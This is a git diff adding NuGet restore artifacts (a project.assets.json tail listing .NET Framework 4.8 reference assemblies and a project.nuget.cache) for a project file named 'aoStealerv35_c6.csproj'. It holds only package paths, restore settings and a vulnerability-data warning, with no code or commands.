"build/.NETFramework/v4.8/Microsoft.Build.Framework.dll", + "build/.NETFramework/v4.8/Microsoft.Build.Framework.xml", + "build/.NETFramework/v4.8/Microsoft.Build.Tasks.v4.0.dll", + "build/.NETFramework/v4.8/Microsoft.Build.Tasks.v4.0.xml", + "build/.NETFramework/v4.8/Microsoft.Build.Utilities.v4.0.dll", + "build/.NETFramework/v4.8/Microsoft.Build.Utilities.v4.0.xml", + "build/.NETFramework/v4.8/Microsoft.Build.dll", + "build/.NETFramework/v4.8/Microsoft.Build.xml", + "build/.NETFramework/v4.8/Microsoft.CSharp.dll", + "build/.NETFramework/v4.8/Microsoft.CSharp.xml", + "build/.NETFramework/v4.8/Microsoft.JScript.dll", + "build/.NETFramework/v4.8/Microsoft.JScript.xml", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.Compatibility.Data.dll", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.Compatibility.Data.xml", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.Compatibility.dll", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.Compatibility.xml", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.dll", + "build/.NETFramework/v4.8/Microsoft.VisualBasic.xml", + "build/.NETFramework/v4.8/Microsoft.VisualC.STLCLR.dll", + "build/.NETFramework/v4.8/Microsoft.VisualC.STLCLR.xml", + "build/.NETFramework/v4.8/Microsoft.VisualC.dll", + "build/.NETFramework/v4.8/Microsoft.VisualC.xml", + "build/.NETFramework/v4.8/PermissionSets/FullTrust.xml", + "build/.NETFramework/v4.8/PermissionSets/Internet.xml", + "build/.NETFramework/v4.8/PermissionSets/LocalIntranet.xml", + "build/.NETFramework/v4.8/PresentationBuildTasks.dll", + "build/.NETFramework/v4.8/PresentationBuildTasks.xml", + "build/.NETFramework/v4.8/PresentationCore.dll", + "build/.NETFramework/v4.8/PresentationCore.xml", + "build/.NETFramework/v4.8/PresentationFramework.Aero.dll", + "build/.NETFramework/v4.8/PresentationFramework.Aero.xml", + "build/.NETFramework/v4.8/PresentationFramework.Aero2.dll", + "build/.NETFramework/v4.8/PresentationFramework.Aero2.xml", + "build/.NETFramework/v4.8/PresentationFramework.AeroLite.dll", + "build/.NETFramework/v4.8/PresentationFramework.AeroLite.xml", + "build/.NETFramework/v4.8/PresentationFramework.Classic.dll", + "build/.NETFramework/v4.8/PresentationFramework.Classic.xml", + "build/.NETFramework/v4.8/PresentationFramework.Luna.dll", + "build/.NETFramework/v4.8/PresentationFramework.Luna.xml", + "build/.NETFramework/v4.8/PresentationFramework.Royale.dll", + "build/.NETFramework/v4.8/PresentationFramework.Royale.xml", + "build/.NETFramework/v4.8/PresentationFramework.dll", + "build/.NETFramework/v4.8/PresentationFramework.xml", + "build/.NETFramework/v4.8/ReachFramework.dll", + "build/.NETFramework/v4.8/ReachFramework.xml", + "build/.NETFramework/v4.8/RedistList/FrameworkList.xml", + "build/.NETFramework/v4.8/System.Activities.Core.Presentation.dll", + "build/.NETFramework/v4.8/System.Activities.Core.Presentation.xml", + "build/.NETFramework/v4.8/System.Activities.DurableInstancing.dll", + "build/.NETFramework/v4.8/System.Activities.DurableInstancing.xml", + "build/.NETFramework/v4.8/System.Activities.Presentation.dll", + "build/.NETFramework/v4.8/System.Activities.Presentation.xml", + "build/.NETFramework/v4.8/System.Activities.dll", + "build/.NETFramework/v4.8/System.Activities.xml", + "build/.NETFramework/v4.8/System.AddIn.Contract.dll", + "build/.NETFramework/v4.8/System.AddIn.Contract.xml", + "build/.NETFramework/v4.8/System.AddIn.dll", + "build/.NETFramework/v4.8/System.AddIn.xml", + "build/.NETFramework/v4.8/System.ComponentModel.Composition.Registration.dll", + "build/.NETFramework/v4.8/System.ComponentModel.Composition.Registration.xml", + "build/.NETFramework/v4.8/System.ComponentModel.Composition.dll", + "build/.NETFramework/v4.8/System.ComponentModel.Composition.xml", + "build/.NETFramework/v4.8/System.ComponentModel.DataAnnotations.dll", + "build/.NETFramework/v4.8/System.ComponentModel.DataAnnotations.xml", + "build/.NETFramework/v4.8/System.Configuration.Install.dll", + "build/.NETFramework/v4.8/System.Configuration.Install.xml", + "build/.NETFramework/v4.8/System.Configuration.dll", + "build/.NETFramework/v4.8/System.Configuration.xml", + "build/.NETFramework/v4.8/System.Core.dll", + "build/.NETFramework/v4.8/System.Core.xml", + "build/.NETFramework/v4.8/System.Data.DataSetExtensions.dll", + "build/.NETFramework/v4.8/System.Data.DataSetExtensions.xml", + "build/.NETFramework/v4.8/System.Data.Entity.Design.dll", + "build/.NETFramework/v4.8/System.Data.Entity.Design.xml", + "build/.NETFramework/v4.8/System.Data.Entity.dll", + "build/.NETFramework/v4.8/System.Data.Entity.xml", + "build/.NETFramework/v4.8/System.Data.Linq.dll", + "build/.NETFramework/v4.8/System.Data.Linq.xml", + "build/.NETFramework/v4.8/System.Data.OracleClient.dll", + "build/.NETFramework/v4.8/System.Data.OracleClient.xml", + "build/.NETFramework/v4.8/System.Data.Services.Client.dll", + "build/.NETFramework/v4.8/System.Data.Services.Client.xml", + "build/.NETFramework/v4.8/System.Data.Services.Design.dll", + "build/.NETFramework/v4.8/System.Data.Services.Design.xml", + "build/.NETFramework/v4.8/System.Data.Services.dll", + "build/.NETFramework/v4.8/System.Data.Services.xml", + "build/.NETFramework/v4.8/System.Data.SqlXml.dll", + "build/.NETFramework/v4.8/System.Data.SqlXml.xml", + "build/.NETFramework/v4.8/System.Data.dll", + "build/.NETFramework/v4.8/System.Data.xml", + "build/.NETFramework/v4.8/System.Deployment.dll", + "build/.NETFramework/v4.8/System.Deployment.xml", + "build/.NETFramework/v4.8/System.Design.dll", + "build/.NETFramework/v4.8/System.Design.xml", + "build/.NETFramework/v4.8/System.Device.dll", + "build/.NETFramework/v4.8/System.Device.xml", + "build/.NETFramework/v4.8/System.Diagnostics.Tracing.dll", + "build/.NETFramework/v4.8/System.Diagnostics.Tracing.xml", + "build/.NETFramework/v4.8/System.DirectoryServices.AccountManagement.dll", + "build/.NETFramework/v4.8/System.DirectoryServices.AccountManagement.xml", + "build/.NETFramework/v4.8/System.DirectoryServices.Protocols.dll", + "build/.NETFramework/v4.8/System.DirectoryServices.Protocols.xml", + "build/.NETFramework/v4.8/System.DirectoryServices.dll", + "build/.NETFramework/v4.8/System.DirectoryServices.xml", + "build/.NETFramework/v4.8/System.Drawing.Design.dll", + "build/.NETFramework/v4.8/System.Drawing.Design.xml", + "build/.NETFramework/v4.8/System.Drawing.dll", + "build/.NETFramework/v4.8/System.Drawing.xml", + "build/.NETFramework/v4.8/System.Dynamic.dll", + "build/.NETFramework/v4.8/System.EnterpriseServices.Thunk.dll", + "build/.NETFramework/v4.8/System.EnterpriseServices.Wrapper.dll", + "build/.NETFramework/v4.8/System.EnterpriseServices.dll", + "build/.NETFramework/v4.8/System.EnterpriseServices.xml", + "build/.NETFramework/v4.8/System.IO.Compression.FileSystem.dll", + "build/.NETFramework/v4.8/System.IO.Compression.FileSystem.xml", + "build/.NETFramework/v4.8/System.IO.Compression.dll", + "build/.NETFramework/v4.8/System.IO.Compression.xml", + "build/.NETFramework/v4.8/System.IO.Log.dll", + "build/.NETFramework/v4.8/System.IO.Log.xml", + "build/.NETFramework/v4.8/System.IdentityModel.Selectors.dll", + "build/.NETFramework/v4.8/System.IdentityModel.Selectors.xml", + "build/.NETFramework/v4.8/System.IdentityModel.Services.dll", + "build/.NETFramework/v4.8/System.IdentityModel.Services.xml", + "build/.NETFramework/v4.8/System.IdentityModel.dll", + "build/.NETFramework/v4.8/System.IdentityModel.xml", + "build/.NETFramework/v4.8/System.Linq.xml", + "build/.NETFramework/v4.8/System.Management.Instrumentation.dll", + "build/.NETFramework/v4.8/System.Management.Instrumentation.xml", + "build/.NETFramework/v4.8/System.Management.dll", + "build/.NETFramework/v4.8/System.Management.xml", + "build/.NETFramework/v4.8/System.Messaging.dll", + "build/.NETFramework/v4.8/System.Messaging.xml", + "build/.NETFramework/v4.8/System.Net.Http.WebRequest.dll", + "build/.NETFramework/v4.8/System.Net.Http.WebRequest.xml", + "build/.NETFramework/v4.8/System.Net.Http.dll", + "build/.NETFramework/v4.8/System.Net.Http.xml", + "build/.NETFramework/v4.8/System.Net.dll", + "build/.NETFramework/v4.8/System.Net.xml", + "build/.NETFramework/v4.8/System.Numerics.dll", + "build/.NETFramework/v4.8/System.Numerics.xml", + "build/.NETFramework/v4.8/System.Printing.dll", + "build/.NETFramework/v4.8/System.Printing.xml", + "build/.NETFramework/v4.8/System.Reflection.Context.dll", + "build/.NETFramework/v4.8/System.Reflection.Context.xml", + "build/.NETFramework/v4.8/System.Runtime.Caching.dll", + "build/.NETFramework/v4.8/System.Runtime.Caching.xml", + "build/.NETFramework/v4.8/System.Runtime.DurableInstancing.dll", + "build/.NETFramework/v4.8/System.Runtime.DurableInstancing.xml", + "build/.NETFramework/v4.8/System.Runtime.Remoting.dll", + "build/.NETFramework/v4.8/System.Runtime.Remoting.xml", + "build/.NETFramework/v4.8/System.Runtime.Serialization.Formatters.Soap.dll", + "build/.NETFramework/v4.8/System.Runtime.Serialization.Formatters.Soap.xml", + "build/.NETFramework/v4.8/System.Runtime.Serialization.dll", + "build/.NETFramework/v4.8/System.Runtime.Serialization.xml", + "build/.NETFramework/v4.8/System.Security.dll", + "build/.NETFramework/v4.8/System.Security.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Activation.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Activation.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Activities.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Activities.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Channels.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Channels.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Discovery.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Discovery.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Routing.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Routing.xml", + "build/.NETFramework/v4.8/System.ServiceModel.Web.dll", + "build/.NETFramework/v4.8/System.ServiceModel.Web.xml", + "build/.NETFramework/v4.8/System.ServiceModel.dll", + "build/.NETFramework/v4.8/System.ServiceModel.xml", + "build/.NETFramework/v4.8/System.ServiceProcess.dll", + "build/.NETFramework/v4.8/System.ServiceProcess.xml", + "build/.NETFramework/v4.8/System.Speech.dll", + "build/.NETFramework/v4.8/System.Speech.xml", + "build/.NETFramework/v4.8/System.Threading.Tasks.Dataflow.xml", + "build/.NETFramework/v4.8/System.Transactions.dll", + "build/.NETFramework/v4.8/System.Transactions.xml", + "build/.NETFramework/v4.8/System.Web.Abstractions.dll", + "build/.NETFramework/v4.8/System.Web.ApplicationServices.dll", + "build/.NETFramework/v4.8/System.Web.ApplicationServices.xml", + "build/.NETFramework/v4.8/System.Web.DataVisualization.Design.dll", + "build/.NETFramework/v4.8/System.Web.DataVisualization.dll", + "build/.NETFramework/v4.8/System.Web.DataVisualization.xml", + "build/.NETFramework/v4.8/System.Web.DynamicData.Design.dll", + "build/.NETFramework/v4.8/System.Web.DynamicData.Design.xml", + "build/.NETFramework/v4.8/System.Web.DynamicData.dll", + "build/.NETFramework/v4.8/System.Web.DynamicData.xml", + "build/.NETFramework/v4.8/System.Web.Entity.Design.dll", + "build/.NETFramework/v4.8/System.Web.Entity.Design.xml", + "build/.NETFramework/v4.8/System.Web.Entity.dll", + "build/.NETFramework/v4.8/System.Web.Entity.xml", + "build/.NETFramework/v4.8/System.Web.Extensions.Design.dll", + "build/.NETFramework/v4.8/System.Web.Extensions.Design.xml", + "build/.NETFramework/v4.8/System.Web.Extensions.dll", + "build/.NETFramework/v4.8/System.Web.Extensions.xml", + "build/.NETFramework/v4.8/System.Web.Mobile.dll", + "build/.NETFramework/v4.8/System.Web.Mobile.xml", + "build/.NETFramework/v4.8/System.Web.RegularExpressions.dll", + "build/.NETFramework/v4.8/System.Web.RegularExpressions.xml", + "build/.NETFramework/v4.8/System.Web.Routing.dll", + "build/.NETFramework/v4.8/System.Web.Services.dll", + "build/.NETFramework/v4.8/System.Web.Services.xml", + "build/.NETFramework/v4.8/System.Web.dll", + "build/.NETFramework/v4.8/System.Web.xml", + "build/.NETFramework/v4.8/System.Windows.Controls.Ribbon.dll", + "build/.NETFramework/v4.8/System.Windows.Controls.Ribbon.xml", + "build/.NETFramework/v4.8/System.Windows.Forms.DataVisualization.Design.dll", + "build/.NETFramework/v4.8/System.Windows.Forms.DataVisualization.dll", + "build/.NETFramework/v4.8/System.Windows.Forms.DataVisualization.xml", + "build/.NETFramework/v4.8/System.Windows.Forms.dll", + "build/.NETFramework/v4.8/System.Windows.Forms.xml", + "build/.NETFramework/v4.8/System.Windows.Input.Manipulations.dll", + "build/.NETFramework/v4.8/System.Windows.Input.Manipulations.xml", + "build/.NETFramework/v4.8/System.Windows.Presentation.dll", + "build/.NETFramework/v4.8/System.Windows.Presentation.xml", + "build/.NETFramework/v4.8/System.Windows.dll", + "build/.NETFramework/v4.8/System.Workflow.Activities.dll", + "build/.NETFramework/v4.8/System.Workflow.Activities.xml", + "build/.NETFramework/v4.8/System.Workflow.ComponentModel.dll", + "build/.NETFramework/v4.8/System.Workflow.ComponentModel.xml", + "build/.NETFramework/v4.8/System.Workflow.Runtime.dll", + "build/.NETFramework/v4.8/System.Workflow.Runtime.xml", + "build/.NETFramework/v4.8/System.WorkflowServices.dll", + "build/.NETFramework/v4.8/System.WorkflowServices.xml", + "build/.NETFramework/v4.8/System.Xaml.dll", + "build/.NETFramework/v4.8/System.Xaml.xml", + "build/.NETFramework/v4.8/System.Xml.Linq.dll", + "build/.NETFramework/v4.8/System.Xml.Linq.xml", + "build/.NETFramework/v4.8/System.Xml.Serialization.dll", + "build/.NETFramework/v4.8/System.Xml.dll", + "build/.NETFramework/v4.8/System.Xml.xml", + "build/.NETFramework/v4.8/System.dll", + "build/.NETFramework/v4.8/System.xml", + "build/.NETFramework/v4.8/UIAutomationClient.dll", + "build/.NETFramework/v4.8/UIAutomationClient.xml", + "build/.NETFramework/v4.8/UIAutomationClientsideProviders.dll", + "build/.NETFramework/v4.8/UIAutomationClientsideProviders.xml", + "build/.NETFramework/v4.8/UIAutomationProvider.dll", + "build/.NETFramework/v4.8/UIAutomationProvider.xml", + "build/.NETFramework/v4.8/UIAutomationTypes.dll", + "build/.NETFramework/v4.8/UIAutomationTypes.xml", + "build/.NETFramework/v4.8/WindowsBase.dll", + "build/.NETFramework/v4.8/WindowsBase.xml", + "build/.NETFramework/v4.8/WindowsFormsIntegration.dll", + "build/.NETFramework/v4.8/WindowsFormsIntegration.xml", + "build/.NETFramework/v4.8/XamlBuildTask.dll", + "build/.NETFramework/v4.8/XamlBuildTask.xml", + "build/.NETFramework/v4.8/mscorlib.dll", + "build/.NETFramework/v4.8/mscorlib.xml", + "build/.NETFramework/v4.8/namespaces.xml", + "build/.NETFramework/v4.8/sysglobl.dll", + "build/.NETFramework/v4.8/sysglobl.xml", + "build/Microsoft.NETFramework.ReferenceAssemblies.net48.targets", + "microsoft.netframework.referenceassemblies.net48.1.0.3.nupkg.sha512", + "microsoft.netframework.referenceassemblies.net48.nuspec" + ] + } + }, + "projectFileDependencyGroups": { + ".NETFramework,Version=v4.8": [ + "Microsoft.NETFramework.ReferenceAssemblies >= 1.0.3" + ] + }, + "packageFolders": { + "/Users/jessiepinkmen/.nuget/packages/": {} + }, + "project": { + "version": "1.0.0", + "restore": { + "projectUniqueName": "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj", + "projectName": "stub", + "projectPath": "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj", + "packagesPath": "/Users/jessiepinkmen/.nuget/packages/", + "outputPath": "/Users/jessiepinkmen/Desktop/Intellix/obj/", + "projectStyle": "PackageReference", + "configFilePaths": [ + "/Users/jessiepinkmen/.nuget/NuGet/NuGet.Config" + ], + "originalTargetFrameworks": [ + "net48" + ], + "sources": { + "https://api.nuget.org/v3/index.json": {} + }, + "frameworks": { + "net48": { + "targetAlias": "net48", + "projectReferences": {} + } + }, + "warningProperties": { + "warnAsError": [ + "NU1605" + ] + }, + "restoreAuditProperties": { + "enableAudit": "true", + "auditLevel": "low", + "auditMode": "direct" + } + }, + "frameworks": { + "net48": { + "targetAlias": "net48", + "dependencies": { + "Microsoft.NETFramework.ReferenceAssemblies": { + "suppressParent": "All", + "target": "Package", + "version": "[1.0.3, )", + "autoReferenced": true + } + }, + "runtimeIdentifierGraphPath": "/Users/jessiepinkmen/.dotnet/sdk/8.0.419/RuntimeIdentifierGraph.json" + } + }, + "runtimes": { + "win-x64": { + "#import": [] + } + } + }, + "logs": [ + { + "code": "NU1900", + "level": "Warning", + "warningLevel": 1, + "message": "Error occurred while getting package vulnerability data: Access to the path '/Users/jessiepinkmen/.local/share/NuGet' is denied." + } + ] +} \ No newline at end of file diff --git a/obj/project.nuget.cache b/obj/project.nuget.cache new file mode 100644 index 0000000..ffa23e5 --- /dev/null +++ b/obj/project.nuget.cache @@ -0,0 +1,18 @@ +{ + "version": 2, + "dgSpecHash": "moZyFhhtQv8=", + "success": true, + "projectFilePath": "/Users/jessiepinkmen/Desktop/Intellix/aoStealerv35_c6.csproj", + "expectedPackageFiles": [ + "/Users/jessiepinkmen/.nuget/packages/microsoft.netframework.referenceassemblies/1.0.3/microsoft.netframework.referenceassemblies.1.0.3.nupkg.sha512", + "/Users/jessiepinkmen/.nuget/packages/microsoft.netframework.referenceassemblies.net48/1.0.3/microsoft.netframework.referenceassemblies.net48.1.0.3.nupkg.sha512" + ], + "logs": [ + { + "code": "NU1900", + "level": "Warning", + "warningLevel": 1, + "message": "Error occurred while getting package vulnerability data: Access to the path '/Users/jessiepinkmen/.local/share/NuGet' is denied." + } + ] +} \ No newline at end of file